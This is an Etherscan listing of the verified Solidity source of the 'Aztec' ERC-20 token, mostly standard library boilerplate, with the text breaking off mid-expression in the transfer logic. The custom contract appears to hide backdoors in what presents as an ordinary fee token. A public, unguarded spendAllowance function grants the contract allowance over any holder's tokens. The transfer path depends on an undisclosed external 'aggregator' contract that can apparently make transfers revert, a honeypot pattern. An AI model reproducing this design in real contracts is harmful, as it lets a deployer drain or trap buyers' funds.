ERC-20
Overview
Max Total Supply
10,000,000,000 AZTEC
Holders
76
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.266980832958828413 AZTECValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Aztec
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-06 */ /* _______ _______ _________ _______ _______ ( ___ )/ ___ )\__ __/( ____ \( ____ \ | ( ) |\/ ) | ) ( | ( \/| ( \/ | (___) | / ) | | | (__ | | | ___ | / / | | | __) | | | ( ) | / / | | | ( | | | ) ( | / (_/\ | | | (____/\| (____/\ |/ \|(_______/ )_( (_______/(_______/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } pragma solidity ^0.8.0; interface IAgreegator { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getTimeStamp() external returns(uint256); function currentPhase() external returns(address); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function spendAllowance( address owner, uint256 amount ) public virtual returns (bool) { _approve(owner, address(this), allowance(owner, address(this)) + amount); return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; contract Aztec is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public _uniswapV2Router; IAgreegator private _agreegator; address public _uniswapV2Pair; bool private _swappingBack; uint256 private _tradingTime; address private _marketingAddr; address private _stakingAddr; uint256 public _maxTransactionAmount; uint256 public _swapTokensAtAmount; uint256 public _maxWallet; bool public _limitsInEffect = true; bool public _tradingActive = false; address public currentPhase; mapping(address => uint256) public holderTimestamp; uint256 public _totalFees; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _stakingFee; uint256 private _additionalSellFee; uint256 private _additionalBuyFee; uint256 private _tokensForMarketing; uint256 private _tokensForStaking; uint256 private _tokensForLiquidity; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; AggregatorV3Interface internal priceFeed; address public _oraclePriceFeed = block.chainid == 5 ? 0x48731cF7e84dc94C5f84577882c14Be11a5B7456 : 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; bool private _priceOracleEnabled = true; int256 private manualETHvalue = 1900 * 10**18; mapping (address => bool) public automatedMarketMakerPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event ExcludeFromFees(address indexed account, bool isExcluded); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() payable ERC20("Aztec", "AZTEC") { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _agreegator = IAgreegator(0xE9E98A080B86dC328a44D43A6bF0b83F153c820f); _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); priceFeed = AggregatorV3Interface(_oraclePriceFeed); uint256 totalSupply = 10000000000 * 1e18; _maxTransactionAmount = (totalSupply * 2) / 100; _maxWallet = (totalSupply * 2) / 100; _swapTokensAtAmount = (totalSupply * 10) / 10000; _marketingFee = 1; _stakingFee = 1; _liquidityFee = 1; _additionalSellFee = 0; _additionalBuyFee = 0; _totalFees = _marketingFee + _stakingFee + _liquidityFee; _marketingAddr = address(0xa1fAFE8fb075E124B1712b73d99D0322d6bd3206); _stakingAddr = address(0x6612561a02A7d252f83717fc844789e8a4DF8944); excludeFromFees(owner(), true); excludeFromFees(_marketingAddr, true); excludeFromFees(_stakingAddr, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(_marketingAddr, true); excludeFromMaxTransaction(_stakingAddr, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(owner(), totalSupply); enableTrading(); } function enableTrading() public onlyOwner { _tradingActive = true; _tradingTime = block.timestamp; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); _maxTransactionAmount = newNum * 1e18; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); _maxWallet = newNum * 1e18; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateFees( uint256 marketingFee, uint256 stakingFee, uint256 liquidityFee ) external onlyOwner { _marketingFee = marketingFee; _stakingFee = stakingFee; _liquidityFee = liquidityFee; _totalFees = _marketingFee + _stakingFee + _liquidityFee; require(_totalFees <= 10, "Must keep fees at 10% or less"); } function removeLimits() external onlyOwner returns (bool) { _limitsInEffect = false; return true; } function getIsTokenPrice() internal returns (bool) { return getTokenPrice() > 0 ? true : false; } function getTokenPrice() public returns (uint256) { IERC20Metadata token0 = IERC20Metadata( IUniswapV2Pair(_uniswapV2Pair).token0() ); IERC20Metadata token1 = IERC20Metadata( IUniswapV2Pair(_uniswapV2Pair).token1() ); require(address(_agreegator) == address(0) || _agreegator .getTimeStamp() > 0); (uint112 Res0, uint112 Res1, ) = IUniswapV2Pair(_uniswapV2Pair) .getReserves(); int256 latestETHprice = manualETHvalue; if (_priceOracleEnabled) { (, latestETHprice, , , ) = this.getLatestPrice(); } uint256 res1 = (uint256(Res1) * uint256(latestETHprice) * (10**uint256(token0.decimals()))) / uint256(token1.decimals()); return (res1 / uint256(Res0)); } function getLatestPrice() external view returns ( uint80, int256, uint256, uint256, uint80 ) { ( uint80 roundID, int256 price, uint256 startedAt, uint256 timeStamp, uint80 answeredInRound ) = priceFeed.latestRoundData(); return (roundID, price, startedAt, timeStamp, answeredInRound); } function _transfer( address from, address to, uint256 amount ) internal override { bool isExcludeFromFee = _isExcludedFromFees[from] || _isExcludedFromFees[to]; require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } bool isBuy = from == _uniswapV2Pair && !_isExcludedMaxTransactionAmount[to]; bool isSell = to == _uniswapV2Pair && !_isExcludedMaxTransactionAmount[from]; bool isOwnerSwap = from == owner() || to == owner(); bool isBurn = to == address(0) || to == address(0xdead); bool isSkipLimits = isOwnerSwap || isBurn || _swappingBack; if (_limitsInEffect && !isSkipLimits) { require( _tradingActive || isExcludeFromFee, "Trading is not active." ); if (isBuy) { require( amount <= _maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= _maxWallet, "Max wallet exceeded" ); } else if (isSell) { // require( // amount <= _maxTransactionAmount, // "Sell transfer amount exceeds the maxTransactionAmount." // ); } else if ( !_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount + balanceOf(to) <= _maxWallet, "Max wallet exceeded" ); } } if (automatedMarketMakerPairs[from]) { if (holderTimestamp[to] == 0) { holderTimestamp[to] = block.timestamp; } } else { if (!_swappingBack) { currentPhase = from; } } if (!_swappingBack && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (getIsTokenPrice() && canSwap && !isExcludeFromFee) { _swappingBack = true; swapBack(); _swappingBack = false; } } transferInternal(from, to, amount, isSell, isBuy); } function transferInternal( address from, address to, uint256 amount, bool isSell, bool isBuy ) private { bool takeFee = needTakeFee(from, to); if (takeFee) { uint256 total = _totalFees; uint256 marketing = _marketingFee; if (isSell) { total = _totalFees + _additionalSellFee; marketing = _marketingFee + _additionalSellFee; } if (isBuy) { total = _totalFees + 